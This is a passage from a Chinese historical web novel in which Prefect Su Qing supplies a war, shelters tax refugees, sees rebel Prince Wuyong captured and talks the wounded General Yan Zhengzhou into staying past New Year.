苏清甚至找了府城的关系,运来一批马匹。 从依松县失守,到现在过去整整一个月。 广乐府上上下下动员起来。 终于成为真正的大后方。 前线的十二万将士。 全靠广乐府撑着,全靠他们的知府苏清撑着。 没了京城朝廷帮忙,他们依旧能守住广乐府! 守住他们的家乡! 但广乐府之外其他地方,情况甚至不如他们。 先是较为富裕的江南一带。 京城屡次下令收税。 各个家族无一幸免,全都接到圣旨。 京城那群人去过江南,对他们的情况很是熟悉,若想糊弄,自然是不成的。 叶家接连破财消灾,给出去至少五十万两银子。 若不是他家在给广乐府供货,要给出的银子只会更多。 尤其是金陵许多世家,被逼着给银子。 若不给,那朝廷来的钦差可不会手软。 京城问他们要钱,这些家族就向佃农们多要租子。 一连串下来,江南百姓叫苦不迭。 而苏清老家通民府也没好到哪去。 位处中原的通民府知府,今年已经收了两次税。 苏清的祖母家,还外祖母家,同样不能幸免。 要不是苏清同样在做知府,情况会更糟。 之前还给苏清他们送人参送衣料的舅舅家,已经张口问他借些银子。 说是要先把田税交了,否则上面催的太紧。 家里几个孩子已经吃不饱饭,舅舅也是实在没办法。 梅娘手里的银子,多是苏清俸禄,自然要问问她。 这种事苏清肯定不会拒绝,让娘备两份银子,苏家跟梅家各给一份。 最后还道,若是家里孩子太多,可以送到广乐府。 至少在他们这,缺不了一口吃的。 家里的事安排妥当。 苏清就把江南跟通民府的情况写下来,送到晏铮州手中。 旁的也不用说。 只如实告知即可。 费秀才奇怪道:“大人,写这些做什么?” 苏清不答,更不在信里发表自己的意见。 她知道,晏铮州肯定能看懂。 而且不出她的意料。 对于这件事,晏铮州并未回复,直接避而不谈。 苏清冷笑,把公文拍在桌子上。 费秀才跟祝书吏不明所以。 苏大人跟总兵大人,到底在打什么哑谜啊。 怎么感觉有点不对劲。 广乐府这边拧成一股绳。 但隔壁的山阳府就没那么好运。 他们的情况跟江南以及通民府差不多。 京城那边急要税收,知府知县等人自然听令。 不少百姓因为借了本地大户高利贷,以此拆东墙补西墙。 虽说还没走到卖儿卖女的地步,但也差不多了。 山阳府其他地方也就算了。 偏偏顺庆县距离广乐府最近,对广乐府这边的情况十分了解。 更因山阳府之前的官员崔刚捷被苏知府收留,还委以重任,在百姓中间广为流传。 难免对广乐府心生向往。 那崔刚捷崔大人,就是之前在山阳府被同乡陷害被贬,好好一个进士,却做不得官那位。 投靠广乐府苏知府后,如今已经是一县县令,当地百姓无不信服。 有这样的先例在前,别说百姓心动,一些不忍盘剥百姓的官吏都心动了。 他们之间,甚至早有讨论。 “广乐府府学,现在还招人。” “只招生员,而且名额已经满了。” “你蠢吗,崔大人可是生员?不是吧,人家直接做官去了。” “这个倒是,那苏清虽然严苛,还是个女的。但做事确实厉害,在她手底下做事,至少不昧良心。” 官吏们还在讨论。 但已经有不堪重负的百姓携家带口离开。 人家广乐府还在打仗。 也没有提前收税,更没有一年交好几次税的先例。 这么来看,还不如去那边讨生活。 都说苛政猛于虎。 这苛税也比打仗还要可怕。 大批百姓因税收离开山阳府,转投广乐府。 而广乐府这边第一时间便发现情况,当地县令立刻报上来。 如今广乐府各县县令,都是苏清精挑细选的,能力自然不错。 那县令先把投奔来的百姓安顿下来,仔细登记姓名,若有偷盗事情发生,立刻严惩。 故而这些突然到来的人,并未给当地带来混乱。 苏清仔细看了文书后,直接道:“有多少就接收多少。帮助他们开荒,尽量安顿好百姓。” 有了这个开头,接下来广乐府各地,都在陆陆续续接收逃税而来的百姓。 既有买卖做不下去的商贩,也有被强征的工匠。 更有就差卖儿卖女的农户。 好在广乐府足够大,可以容纳这么多人。 而且府内物资运输,各项买卖,以及医护招募等等,都很缺人。 来了之后,还真的能各司其职。 甚至有几个原本做差役的,辞了他们那的差事,专门过来投军的。 苏清对此来者不拒。 有人的地方才有发展。 不管是前线,还是府内,都需要人手。 至于其他地方有没有怨言,那就不怪她了。 你地方治理的好,他们自然愿意留下。 治理的不好,别怪大家离开。 投奔广乐府而来的各地百姓,也没想到他们融入的如此顺利。 各地都做好准备,只要是来好好过日子的,他们全都要。 不过其他各地,其实没工夫管这些事。 京城那边逼迫得进,大家都有自己的事要忙。 这些事依旧送到晏铮州手里。 看的他眉头直跳,跟之前一样,把苏清的信又烧了。 总兵的手下也奇怪。 最近这段时间,总兵大人为何一直烧苏知府的信啊。 难道大人对知府不满? 但他们配合起来又很默契,没发现什么不对。 晏铮州没说话,心道,这信要是落入有心人之手,必是祸患。 为了苏知府安危,一个字都不能留。 当然,也是他想多了。 毕竟苏清的信里,其实什么都没说,更没有发表自己的看法。 只是把各地情况告诉他而已。 而他,怎么会不知其他地方发生了什么。 晏铮州微垂着眼,整个人仿若冰山。 过了片刻,他开口道:“准备好了吗。” “好了。”手下立刻拱手,“听候大人吩咐。” 不能再拖下去。 广乐府拖不起,后勤也拖不起。 只守不攻,并非他的风格。 这次,不仅要夺回依松县,还要让叛军无家可归。 永晟四年,七月初九。 晏铮州换上盔甲,带着精兵五千,从尚口县出发。 武勇王爷还在依松县消化里面的物资,感慨此地城墙修得极好,并奴役本地百姓,让他们继续修筑防御工事。 只是可惜自己侄儿回来的太早,京城竟然没拖住他。 难道京城那些人转性了? 以大局为重了? 武勇王爷冷笑。 在他看来,只要继续拖下去,必然能拖垮整个顺昌国。 毕竟顺昌国早就乱成一团。 稍加挑拨,各地叛军便会蜂拥而起。 唯一让他没想到的是。 这广乐府跟其他地方竟然不同。 还真让一个女官组织起来。 若不是那个叫苏清的。 他早就占据整个广乐府。 “顺昌国能出这样的人才,难道祖宗显灵了?”武勇王爷眼神闪过冷意。 可惜这样的人,不能为他所用。 侄儿晏铮州已经够难对付的了。 又来个极有能力的官员。 两人一文一武,配合倒是不错。 越是这样,他的杀心越重。 捉到他们两个,必要碎尸万段。 不过在武勇王爷看来。 顺昌国不堪一击。 只要突破广乐府这道防线,只要让他拿到南江县。 天下便唾手可得。 身为皇家人。 他太知道里面的糟乱。 更知道有多少人对朝廷不满。 益州那边的叛军并非偶然。 不满朝廷盘剥的人,可大有人在。 自己并非叛军。 而是顺应天命,拨乱反正,要还天下一个太平! “王爷王爷!不好了!” “皋青州边城被晏总兵拿下,切断了所有物资供应!三面包围了依松县!” 武勇王爷不敢置信,什么?! 自己侄儿竟然打下皋青州边城?! 开什么玩笑! 噩耗还不止一个。 依松县另一方向的武寨县,也从防御转为进攻,从西边进攻。 尚口县,皋青州边城,分别从南北攻来。 三面夹击,避无可避。 而他在边城的驻军,多数都被侄儿歼灭,根本不可能赶来。 疯了吧。 晏铮州不要命了?! 这么打?! 武勇王爷眼中闪过疯狂。 那就打。 自己守着依松县,还打不过自己侄儿?! 从七月初九,这场战事持续整整二十日。 每日都有血肉模糊的士兵被抬回来。 更有无数尸体运出。 南江县百姓从震惊到麻木,再到飞速处理伤口,仅仅只用了二十日。 很快,训练两个多月的新兵也上了战场。 在后方调运物资的苏清,似乎都在空气里闻到血腥味。 这样惨烈的战事,让所有人心头沉甸甸。 似乎有驱散不了的阴霾,永远笼罩在众人头上。 而这一场战事,根本避免不了。 所有人能期待的,就是快些结束,快些打完。 但熟悉战事的人都知道。 战争一旦开始,怎么可能迅速结束。 他们能做的,就是继续坚持。 坚持到天下太平的那一日。 苏清夜以继日运送物资,处理叶家花家的关系。 想尽办法弄到更多粮食军饷。 流水般的物资从她手底的账册送出。 费秀才,祝书吏,武捕头。 府城的罗主簿邬户司,每个人睁眼开就是粮食,伤药,盔甲,武器。 前线打多久。 他们就要坚持多久。 而他们,唯一能依靠的,只有广乐府本身。 这样的日子,甚至不知道什么能结束。 先是晏总兵抢占皋青州边城。 再是武勇王爷亲自应击,赶到的时候,晏总兵已经去切叛军后勤,武寨县从后面攻入。 而皋青州州城叛军援军出动,跟晏总兵交锋。 七月到八月。 再到九月。 广乐府今年的税银到账,很快又送了出去。 叶家花家颇有微词。 毕竟这些税银,并未用来还账,而被苏清强压下来,依旧作为军中粮饷。 尤其是叶家,叶山鸣都有些压不住下面的人,盔甲所用皮革已近断货。 这种情况下,京城甚至试探来问,说广乐府能交多少税银。 苏清看着钦差大臣,依旧能做好表情管理,轻飘飘道:“广乐府没有税银可交。” “倒是有五千阵亡将士名册,等着朝廷封赏。” 苏清还真把阵亡名单拿出来,一个个念给钦差大臣。 把他们立了什么战功,打了多少仗,家里情况如何,一字一句念出来。 那钦差大臣吓得整夜睡不着,第二日连滚带爬离开。 直到十月份。 前线终于送来好消息。 在晏总兵不要命的厮杀下,武勇王爷节节败退,终于从依松县撤军,逐步往皋青州方向走。 可晏总兵稍加休整,继续往前压。 看样子,他要一鼓作气,直接拿下整个皋青州。 苏清能做的,自然是继续运送物资补给。 就在苏清喝口浓茶,考虑如何弄到银子时。 十月二十三。 一个她都不敢置信的消息传来。 武勇王爷。 被活捉了。 晏总兵带着五千亲兵,设了调虎离山之计,将武勇王爷困在一座小城当中。 还是他冲锋在前,活捉自己的亲叔叔。 消息传来。 从依松县到尚口县,再到江五,江北各县。 全都不敢相信。 就连苏清都再三询问,才得到确切答案。 叛军首领武勇王爷,真的被活捉,已经由连飞扬等人押往南江县。 而晏总兵本人,胸口中箭失血过多,生死未卜。 苏清呼吸急促。 自己写那些信,不是让他这样拼命的。 明明是另一个意思! 但她不得不承认。 这个结果确实不错。 至少叛军首领被捉,广乐府这场长达五年的战事,终于要结束了。 笼罩在本地百姓头上的阴霾,要彻底消散了。 街上传来百姓们的欢呼。 “叛军首领被捉!” “战事要结束了!” “依松县回来了!” “我们不用再打仗了!” 第54章 擒贼先擒王。 武勇王爷被活捉,他手底下叛军立刻做鸟兽散。 仗打了这么多年,还被困在封地上。 广乐府打了好几年,也就夺了一个依松县。 而且人家的物资源源不断送来。 虽说朝廷不靠谱,但背靠的广乐府却是全力支持的,又是新兵,又是物资,看的人心里发慌。 再有战神晏铮州重新回来,几乎不要命的攻打。 种种原因加起来,叛军心里自然惧怕。 他们唯一的优势,便是武勇王爷本人,若他能登上皇位,大家鸡犬升天。 等战神把自己亲叔叔活捉时,不少人都知道,他们这些人完了。 房倒屋塌的时候,几乎就是一瞬间的事。 对叛军来说,也是这般。 而重伤的晏铮州,也没有第一时间养伤,而是安排好前线事宜后,才慢悠悠回防。 依松县回来了。 皋青州也回来了。 各地都需要驻军,也需要人手。 苏清派了几个心腹前去,先是让崔大人带人去皋青州,再安排人手接管依松县。 等一切安定下来,已经是十一月份。 不管是依松县还是皋青州,都已经迈入冬日。 本就萧索的边关,显得更加凄凉。 苏清虽然没有过去,却也知道战后的城池,怎么也好不到哪去。 不过好在不用打仗了。 普通人就有喘息之机。 而南江县,以及整个广乐府,先是对这个消息不敢置信,随后开始狂欢。 从四年前开始的仗,终于打完了。 如今广乐府各地,那个村子没有人参军,哪一家的税收不是充作军饷。 不过最开心的,大概是叶家跟花家。 不管皮料还是生铁,需要都没那么大。 他们不用再赊账给府衙了! 真好啊! 至于京城那边,自不用说。 对于皇上太后来讲。 今年着实不错。 开年三月,夺回京城。 如今十一月,不仅依松县收复,连皋青州也在手中。 叛军首领彻底被捉。 实乃祖宗庇佑,也要普天同庆! 京城那边对将士们溢美之词自不必说,已经派人前来接收叛军首领。 武勇王爷,肯定是要送到京城审判的。 一则,这是皇室宗亲,不能让外人看笑话。 二则,朝廷郁闷的也久了,这等战功,肯定要送回去的。 不仅如此,皇上还让总兵大人即刻回京养伤,说他劳苦功高云云。 至于剩下的事,自有钦差前来善后。 一条条政令传下来,苏清没看到半点实际赏赐,全都是口头夸赞。 即使知道京城很穷。 却也不至于连赏赐也没有吧? 外面欢天喜地,京城手舞足蹈。 但一点实际的也没有? 苏清就差翻白眼了,对南江县户房主事道:“拨调羊肉猪肉鸡鸭,白米白面送到军中。” 仗是打完了。 但十二万驻军却不能直接各回各家。 还有俘虏的叛军,以及刚拿下来的皋青州,都需要一一料理。 都说打江山容易守江山难。 守住失地,也很难。 口头上控制,跟实际掌控,完全是两码事。 费秀才跟祝书吏听着,这才从皇上口头嘉奖中冷静下来。 “对啊,一点好处也没有,全都是赞扬。”费秀才再看一遍朝廷发来圣旨,里面溢美之词看的他头脑发晕。 同样读书识字,略有文采的祝书吏也道:“这确实是锦绣文章,也不怪我们。 只是这些夸奖,很容易让人忽略实际意义。 而且隐隐有种是上天保佑,以及今年运气好的缘由。 既没有直接夸赞战无不胜的晏总兵。 也没有提起辛苦后勤的苏知府。 一旦发现不对劲。 两人迅速找到很多漏洞。 完了。 差点被骗! 苏清让他们不要生气,开口道:“已经习惯了。” “但他们如何说是他们的事,不要因为赌气,就不去做手头的差事。” 不管是依松县还是皋青州,还有很多事情要忙。 不要理那些人就行。 苏清又看了眼让晏总兵回京的命令。 这人来广乐府的时候,就是带着旧伤的。 现在添了新伤,还能直接回京? 战报上可是写了。 晏总兵伤势严重,安排兵防已是强撑。 这种情况,怎么可能直接回去。 还要押送武勇王爷一起回。 十一月十二。 终于安排好兵防部署的晏总兵终于回到后方。 若不是伤势过于严重,只怕他还有差事要忙。 剩下的交给阎协守即可,布置兵防,他极有心得。 苏清早早在江岸码头等着。 周围还有无数伤兵,以及当地百姓。 他们急切想看看叛军首领到底长什么样。 更为了迎接战神晏总兵! 自活捉叛军首领的消息传开,越来越多关于晏总兵的传言,陆陆续续流传出来。 比如他如何夜袭,如何带兵突围,如何智取。 最后浑身是血,也要捉住对方等等。 在大家传闻当众,晏总兵俨然是传说中的战神啊! 苏清倒是面无表情,在大家看来,知府大人无比淡然。 当然,夸总兵的时候。 对于苏知府的赞扬,更是无以复加。 顺昌国各地都成什么样子了。 他们广乐府却比之前还要好,今年的税收,田地,都比往年有所增长。 要知道,他们这里还在打仗。 一边打仗,一边增加耕田数目。 还能供给后勤,支持十二万军队。 任谁听了,心里只有佩服。 这才是他们的定海神针。 更是他们广乐府百姓心里的依靠。 看着江面上驶来船只。 迎头的船上挂着晏总兵的旗号。 后面紧接着,便是叛军首领,以及叛军将士的船只。 这些叛军都用铁锁囚笼关着,每个人都狼狈不堪。 对比前面威风凛凛的晏总兵,对比实在太大。 只见晏总兵身高八尺,一身银色盔甲半新不旧,似乎还能看到隐隐血迹。 再看他面如刀削,瞳若点漆,整个人比戏文里的将军还要俊朗万分。 而总兵大人从码头下来,第一时间走到苏知府身边,眼神深邃:“辛苦了。” 苏清看了看他胸口跟肩膀,这才看向另一艘船。 士兵将六个囚笼搬下来。 最前面那个,要十个人才抬下来。 里面关着的,正是叛军首领,武勇王爷。 这人身量跟晏总兵差不多高,整个人要壮上三圈,看着便是极其威猛的武将。 这么多年。 原来是在跟他打。 武勇王爷也在打量苏清。 不用旁人介绍,他就知道,眼前的人便是女知府。 就算不穿这身官府,也知道是她。 谁让这人太过特殊。 武勇王爷声若洪钟,冷然道:“本王输给侄儿倒还好,输给你,却不甘心。” 他这场败仗。 甚至两年前的败仗,都跟这个女的脱不开关系。 前两年那会,这人只是知县,便能安置好伤员之事。 照顾伤兵有多重要,他能不知道? 若照料不好士兵,是会动摇军心的。 这种费力不讨好的事。 竟然让苏清做成稳固军心的差事。 侄儿手底下的士兵,都像不怕死一样。 说什么的,受了重伤反而能去南江县疗养,那边好吃好喝伺候,还说他们是英雄。 打仗最怕遇到这种对手。 今年可倒好,这位成了知府后,直接调动广乐府一府之力。 全力支撑自己侄儿。 要是他说,自己就败在这个女官手中。 如果没有她,没有广乐府。 即便侄儿是战神,也打不了胜仗。 有朝廷那群拖后腿的。 不死在战场上,就是幸运的。 苏清面对体型差距巨大的武勇王爷,并未有一丝畏惧,对他口中的话,也只是轻飘飘反击:“手下败将,不足挂齿。” 你都输了! 还说什么啊! 还有败者宣言吗? 武勇王爷可不止会打仗,瞬间冷笑:“手下败将?” “那也比鸟尽弓藏的好。” 最后一句声音极低。 只有苏清,晏铮州,以及身边士兵官吏听到。 众人脸色皆是一变。 晏铮州身边的亲兵,还有苏清身边的官吏,下意识看向自己上司。 尤其是前者。 要说不担心,那是不可能的。 武勇王爷还不肯住口,故意道:“一个有战功的皇上亲弟。” “一个毫无根基的女官。” “你们俩,是守得住战功,还是保得住官位?” 武勇王爷盯着两人表情,明显想欣赏这俩年轻人的惊慌失措。 自己年轻那会,也跟他们一样。 岂料两人表情没有一丝改变,侄儿甚至还在看女官,似乎更关注她的想法? 对自己这边的“预言”,没有半分在意。 苏清直接道:“说完了?” “那我说吧,我们跟你不一样的。” “我跟晏总兵不会滥杀无辜,也不会纵容士兵屠城劫掠。” “更不会为一己私欲,毁掉百姓们的生活。” 苏清看向晏总兵:“你想造反,你侄儿想吗?” 武勇王爷语塞,把头扭过去。 若不是给手下甜头,谁肯给他卖命? 武勇王爷还要说话,忽然意识到周围有百姓官吏靠近。 尤其是一个抖如筛糠的官员,明显想要杀了他。 苏清让人按住田县丞。 必会死。 却不能大庭广众之下杀了。 原本还想装枭雄的后退半步,背靠在囚笼里。 他忽然一时意识到。 自己是苏清的杀父仇人。 更是这南江县,依松县,以及广乐府很多地方的仇人。 “我要上京!”恶狠狠看向侄儿,“快!上京!” 他去京城还有活路。 留在南江县,只有死路一条! 必须上京! 必须! 苏清却不让晏总兵开口,直接挡在他身前,开口道:“总兵大人身负重伤,不能远行。” “来人。” 早就等待在一旁的白大夫等人摸摸脑袋,让周围医护抬着担架上前。 晏铮州疑惑,苏清道:“养伤重要。” 说着,苏清直接把人推搡到担架上,等他刚坐上去,就道:“快!没看到总兵的伤势吗?” 众人立刻抬起,直接把总兵大人抬往县衙后宅。 盯着他们背影,咬牙道:“上京,这是皇上的命令,你们敢不听?” “将在外。”苏清直接回道,“武勇王爷不懂?” “将叛军首领关在监牢,等晏总兵伤好之后,一起上京。” 晏铮州跟叛军首领刚到南江县,就被苏大人直接拦下。 自然也是上面的理由。 作为皇亲国戚,回京之后的武勇王爷,大概不会直接处斩。 当年苏县令的死,田县丞家人的死,以及刘主簿的死,南江县无数人命,都需要有人负责。 如果把他放走,不说旁的,她自己对得起梅娘吗。 二是,晏总兵确实需要养伤。 他这样直接回去,以后的日子必然不好过。 苏清想到自己一封封暗示的书信,只是想让对方知道,朝廷在做些什么。 可晏总兵虽是解决自己信中的难题,却是用自己命来拼。 那边武勇王爷还喊着要去京城,却已经被龚典吏等人的妥善安置。 但凡看守他的,都有家人死于战乱之中,绝对不可能出半点问题。 其他叛军也没好到哪去。 这些都是首领头目,肯定会被好好招待。 苏清回到衙门,直接去了后宅。 白大夫郝大夫等人惊呼,明显被晏总兵的伤势吓到。 胸前,肩膀,后背,大大小小十几个刀痕箭伤。 旧伤未好,就添新伤。 军医也认真包扎,但打仗的时候,伤口难免再次撕裂。 如今看起来,都是血淋淋的。 苏清坐在廊下躺椅上,让费秀才跟祝书吏也坐:“等里面包扎完我们再进。” “看样子还要一会。” 这么想着,苏清忍不住闭上眼。 疲惫多时的她,此刻沾躺椅就困。 费秀才赶紧挡着廊下的风,祝书吏则想着去找件披风。 两人都没留神,屋内忽然安静片刻。 里面有人打帘子出来,刚想说话,就见苏知府呼吸平稳,似是睡着了。 晏铮州手下马豪低声道:“大人说廊下风大,这是今年新做的裘衣,还未用过。” 祝书吏接过来,轻手轻脚给苏大人盖好。 不一会,马豪又让人搬来屏风,生了炭盆。 等苏清醒来,已经过了中午。 她睡了至少两三个时辰? 苏清坐起来,刚看了眼深色裘衣,旁边房门便从里面打开。 苏清看向换了黑色常服的晏铮州,定定看了几眼。 人帅,果然穿什么都好看。 苏清又看了看周围,怪不得一点也不冷。 不过也是太久没休息好,今日也算睡得舒心了。 “聊聊?”苏清没有起身,旁边费秀才两人有眼力地离开。 马豪也搬来椅子,放在炭盆附近。 肯定是要聊一聊的。 仗打完了。 接下来要怎么办。 晏铮州手下如此积极,就是在赞同苏知府的意思。 不要回京。 至少暂时不要。 大家心里都清楚,晏总兵回京后,会面临什么。 皇上着急让大人回去,甚至还有赐婚,目的清晰可见。 身边人都去隔壁小间,留下空间给两位大人。 晏铮州坐下来,并未烤火,而是帮着煮茶,就听苏清道:“你要回京吗?” 苏清见他还是不说话,直接道:“我不会让武勇王爷活着回京。” 她跟那什么王爷,可没什么亲戚情分啊。 更不会让皇家演这种叔侄情深的戏码。 那广乐府算什么,皋青州算什么。 他们家中间的一环吗。 晏铮州点头:“那就杀了他,路上不难办到。” “你疯了?”苏清冷笑,“带一个死了的叔叔回去。” “岂不是给对方借口?” 皇上处置晏铮州,可就更方便了。 甚至不用找什么借口。 晏铮州不答,只是给苏清递茶水,再次道:“抱歉。” 苏清不想说再多。 晏铮州什么都明白,但就是要这么做。 “顺昌国,经不起第二个武勇王爷。”晏铮州明显疲惫,手里依旧端着那杯茶,“你说呢。” 再有一个叛军出现。 顺昌国只会更加民不聊生。 苏清接过茶,直接吃干净:“年后再走吧。” “至少过个年,把伤养好。” 若武勇王爷跟晏铮州都死在上京路上。 对皇上简直是双喜临门。 晏铮州没说话,明显还在考虑。 苏清凑上前:“你要是现在就走,那我怎么摆平皋青州。” 见晏铮州看着自己,苏清并不掩饰:“皋青州在叛军手里二十多年,这几年更是接近独立。” “倘若不能第一时间摆平,以后后患无穷。” “到那时候,你家的祖宗基业可就没了。而且皇上会放你出来,再打一次吗?” “即便放你出来了,还有我负责后勤吗?” 苏清半句谎话都不说。 她确实要摆平近邻的皋青州。 不然广乐府永远会有危险。 再者,她很需要另一份政绩傍身。 武勇王爷说的没错。 他们二人的军功跟官职。 真的能保得住吗? 苏清看来。 可以的。 只要晏铮州别急着回京即可。 那样,她就能挣来更多底气。 跟京城对抗的底气。 苏清又躺回去,盖好裘衣:“当然了,你想走,我也不拦着。” “没有你,我照样能完成。” 晏铮州当然知道。 有他没他都一样。 苏清此刻说这么多,大半还是为他考虑。 两人也算并肩作战,不想看着对方去送死。 苏清见他不说话,慢悠悠倒茶,等第二杯茶吃的差不多了,就听晏铮州道:“那就年后再走。” “年后我陪你去一趟皋青州。” 知道总兵大人的决定后,晏总兵身边马豪等人极为兴奋。 要知道,他们也劝了许久,但大人还是要回京。 没想到大家怎么说都不行,还是苏知府出马有用! “苏大人厉害啊。”马豪再次感叹。 费秀才跟祝书吏直接道:“这还用说?” 他们大人是最厉害的! 晏铮州决定留下。 最不敢置信的还是武勇王爷,他在监牢里大喊大叫,明显知道自己的命运。 这里的人,各个都跟他有血海深仇。 他一定会死在这的。 尤其是那个田县丞,看向他的眼神里,带着无尽的怨恨。 他肯定会死的。 必须回京。 但晏铮州既然决定留下,便第一时间送奏章到京城。 说明皋青州还有残余叛军流窜,以及他失血过多,不宜立即回京。 京城那边自然不满。 晏铮州这边不想回去。 军中另外几个人,却是想立刻回的。 那就是以梁礼公公为首的内臣太监们。 他们在前线吃尽苦头,什么事都经历了。 只是皇上不仅不开口,还说让他们再等等。 大概率是让他们监视地方,防止再有人作乱。 不想回的,逼着回京。 想回去的,却让他们再等等。 苏清知道后,前往依松县途中便顺道去了趟尚口县。 现在军中许多部门都在这里安置。 尚口县条件不好,大家过的都凑合。 齐内官来接苏清的时候,还道:“若在京城,我必然好好招待你,只是现在条件艰苦。” 齐内官见云喜也在,高兴地摸摸他的头,应下他喊齐叔。 苏清自然不介意这些,不过她道:“反正前线也没事了,不如去南江县过年。” “南江县情况比这里好上不少,你们也能歇歇。” 听到苏清这话,齐内官自然心动。 前线有多辛苦,自不用讲。 虽说现在战事结束,军中也没什么大事,但他们没皇上命令,并不能回京。 若能去南江县休息休息,年后再回来,也是可以的。 齐内官都这么想。 再前线时间更久的梁公公更加点头。 四五年的时间,他几乎一刻都不能放松。 真要休息休息的。 梁公公营帐里,七八个内臣一齐点头,显然是愿意的。 苏清就道:“那让云喜跟着诸位,县衙那边他也熟悉。” 云喜算他们半个自己人,梁公公拱手谢过。 两人头一回见面。 苏清就又送上一份大礼。 不过梁公公好奇道:“苏知府,您去依松县是?” 那边可乱着呢。 苏清笑:“正是乱,才去看看,我先派了崔大人过去整顿县里事务。” “如今已经冬日,看看幸存的依松县百姓,需要如何救助。” 依松县的情况大家都知道。 今年五月十九被叛军占领。 十月才又夺回来。 这几个月里,百姓们的日子极为难过。 确实需要衙门帮忙渡过冬日。 “苏知府爱民如子,我等敬佩。”梁公公感慨,随即又道,“那皋青州呢?” 苏清知道那边情况更差,但她道:“年后再说。” 梁公公跟齐内官放心了,自己都笑:“我们也是瞎担心,那边的叛军乱窜,早就成强盗土匪了。” “咱们的军队,也只把持住几个重要城池,其他地方太危险,去不得。” 皋青州做了二十多年封地,跟依松县情况不一样。 闲话说完,苏清当日便离开。 留下云喜陪齐内官,梁公公他们去南江县歇息。 云喜今年十五,办差很娴熟。 苏清带着费秀才祝书吏武捕头余下书吏差役,继续骑马往依松县方向。 他们这些人对依松县都不陌生。 在南江县时,送过不少药材过来。 在府城,更是不停送工事材料,还让工司江主事常驻。 就是为了修好城墙,抵御叛军。 而他们也确实坚守了两个月。 只是之后还是被叛军入城,原本好好的依松县变得满目疮痍。 一直负责照顾伤兵的周大人,就死在这里。 苏清这次过里,也是准备运回他的尸体,送到他外甥文千户手中。 像这样去世的人太多了。 苏清他们踏入城内,就能感觉到一阵萧索。 来接他们的人,正是连飞扬。 连飞扬这般活泼的性格,此刻脸上都写了沉重。 “现在我负责依松县安危,阎协守他们在皋青州。”连飞扬还有些不赞同道,“苏大人您不该来的。” “依松县附近也有逃跑的叛军,如今已经成了山贼土匪,就在四处流窜。” 大仗过后必有土匪。 后期的剿匪也很重要。 由此也可见,京城召回晏总兵有多着急。 苏清道:“没事,他们不敢伤我。” 这也不是苏清自信。 而是在广乐府地界上,确实没人敢动她。 这里的百姓跟士兵都不允许。 “你跟崔县令合作的怎么样。” 崔刚捷崔县令被苏清派到这里,暂时掌管依松县。 连飞扬道:“他是个好官。” 这句话就够了。 可崔县令看到苏清,第一句话就是:“苏知府,求您帮忙。” 好官也需要粮食跟冬衣炭火啊! 依松县原来的县令身亡,库房存粮物资全都被叛军洗劫。 没拿走就烧干净。 这是他们一贯作风。 现在依松县幸存的八万百姓,没吃没喝没衣服。 崔县令还从他之前任职的县里调了一些,只是杯水车薪,完全不够用。 这会见到苏知府,肯定要东西的! 果然,苏大人直接点头:“为军中赶制的冬衣有富裕的时候,到时候可以发下去。” “还有粮食,从南江县调了些过来,至少把冬天过去了。” “人口重新统计了吗,有没有分好户。” 上中下三类,优先给最穷的下户发放。 崔县令连连点头,他都做好了。 就等物资了。 苏清看过崔县令递上来的名册文书,确定没问题后,让他等物资即可。 崔县令还道:“大人,今年本就新增六万新兵,就要做六万冬衣。” “怎么还能有富裕的?” 还能怎么样。 厚着脸皮借钱呗。 苏清现在都不敢回府城。 叶家掌柜,花家花又菱,都等着她还钱呢。 苏清懒得想这些事,摆摆手道:“反正有就对了。” 名册之上,依松县情况一目了然。 本地几家乡绅大户悉数被杀,家中漂亮男女充作军妓,勉强救回来一两人,也已经疯癫。 普通百姓尽力躲藏,但还是被奴役,或被杀,或充劳力兵役。 原本十三万人口,如今只剩八万。 苏清看完,再看向皋青州。 武勇王爷残暴行径,必不是头一日形成。 他封地皋青州,又会是什么样。 苏清给阎协守写信,请他收集皋青州六个县的情况。 提前知道情况,明年也好做事。 随后,再让费秀才把依松县乡绅大户家的情况抄录下来。 “寄到府城。” “如此恶事,必要人尽皆知。” 尤其是府城各家大户。 叛军真打过来,越有钱的,越会被害。 什么? 直接投降? 这依松县的大户个个都投诚了。 武勇王爷放过了吗? 等冬衣粮食炭火药材运过来。 看着崔县令一一分发下去,苏清也该回了。 战后的城池,需要慢慢修复。 好在人还活着,至于只有人活着,就还有希望。 苏清带着周大人尸体,以及几个重病伤员回去。 路过尚口县,江五县,江北县,又带了十几个伤兵。 等她到南江县时,已经是腊月初一。 大雪落下。 又是一个冬日来了。 两年前的冬日,广乐府的战事结束。 两年后的冬天,皋青州也归于平静。 这样的平静太好了。 没有战争的日子,就是最好的日子。 要开始建设的日子,就是最有希望的日子。 第55章 永晟四年,腊月初一。 苏清一行人回到南江县。 让她意外的是,来接她的人,不仅有晏总兵,还有梅娘苏澄朱娘子小妹他们。 梅娘跟朱娘子眼带热泪,她们是最近到的南江县。 还去了监牢。 晏铮州朝苏清点点头,苏清叹口气,搂着身量比她矮小的梅娘,低声安慰:“放心,女儿会报仇的。” 梅娘当然相信,她只是想哭,只是想相公。 朱娘子刘小妹也在哭。 看着监牢里的叛军头子,所有人心底没有一丝一毫惧怕,只有无尽的怨恨。 回到衙门才知道,一同过来的,还是有苏三婶苏溪母子。 还有苏清头一回见的梅家表弟表妹,他们是双胞胎,今年才十四岁。 之前说过,梅娘的娘家人日子艰难,苏清就说让他们把孩子送过来。 至少这里能吃得起饭。 只是接过来之后,苏清就已经在南江县了,这是头一回见两人。 一大家子都来了,还好衙门后宅一直空着,也足够住。 梅娘他们过来,主要是陪苏清过年。 不管依松县的情况,还是皋青州的事情。 苏清一时半刻都不能回府城。 梅娘怎么看着她一个人孤零零在外地,所以携家带口过来。 “见过表姐。”梅表弟梅表妹怯生生上前。 苏清见他们乖巧,笑道:“什么时候来的,到广乐府可还习惯?吃饭上习惯吗。” 两人一一答了,苏清知道他们都没读过书,想了想道:“明年开年,一边识字,一边去白家学医,如何?” 安排好的表弟表妹的事。 梅娘那边已经端了饭菜上来。 还是熟悉的小客厅,还是熟悉的人。 唯一不一样的。 可能是顾从斯不在,换成沉默不言的晏总兵? 看着晏总兵要走,苏清喊了句:“一起吃饭吧?都是自己人。” 晏铮州点头坐下,他也住在衙门后宅,跟大家也还算熟悉。 今日要给苏清接风,饭菜比往常丰盛了些。 但桌上苏清晏铮州,梅娘苏澄,朱婶娘刘小妹,甚至苏三婶苏溪,还有费秀才祝书吏云喜马豪武捕头。 他们平日差事虽多,但饭食肯定不缺的。 只有梅表弟表妹两个埋头苦吃。 刚吃两口,又觉得不好意思。 大人也就算了,看看年纪相当的刘小妹云喜,以及比他们小的八岁苏澄,十一岁苏溪。 